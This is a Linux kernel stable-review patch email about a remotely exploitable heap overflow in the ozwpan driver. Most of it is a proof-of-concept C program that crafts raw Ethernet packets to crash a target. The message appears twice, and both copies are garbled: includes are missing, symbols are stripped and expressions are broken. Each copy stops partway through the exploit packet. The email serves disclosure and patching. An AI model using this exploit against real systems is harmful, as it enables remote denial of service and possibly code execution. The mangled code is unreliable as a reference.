[PATCH 3.13.y-ckt 016/122] ozwpan: Use proper check to prevent heap overflow
3.13.11-ckt22 -stable review patch. If anyone has any objections, please let
me know.
--
From: "Jason A. Donenfeld"
commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n",
argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, _idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, _idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2],
src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2],
dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION <<
OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2],
src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2],
dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION <<
OZ_VERSION_SHIFT),
.last_pkt_num = 0,
[PATCH 3.13.y-ckt 016/122] ozwpan: Use proper check to prevent heap overflow
3.13.11-ckt22 -stable review patch. If anyone has any objections, please let
me know.
--
From: Jason A. Donenfeld ja...@zx2c4.com
commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.
Since elt-length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include arpa/inet.h
#include linux/if_packet.h
#include net/if.h
#include netinet/ether.h
#include stdio.h
#include string.h
#include stdlib.h
#include endian.h
#include sys/ioctl.h
#include sys/socket.h
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include ozprotocol.h
static int hex2num(char c)
{
if (c = '0' c = '9')
return c - '0';
if (c = 'a' c = 'f')
return c - 'a' + 10;
if (c = 'A' c = 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a 0)
return -1;
b = hex2num(*txt++);
if (b 0)
return -1;
*addr++ = (a 4) | b;
if (i 5 *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc 3) {
fprintf(stderr, Usage: %s interface destination_mac\n,
argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, Invalid mac address.\n);
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd 0) {
perror(socket);
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, if_idx) 0) {
perror(SIOCGIFINDEX);
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, if_idx) 0) {
perror(SIOCGIFHWADDR);
return 1;
}
uint8_t *src_mac = (uint8_t *)if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2],
src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2],
dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION
OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2],
src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2],
dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED |
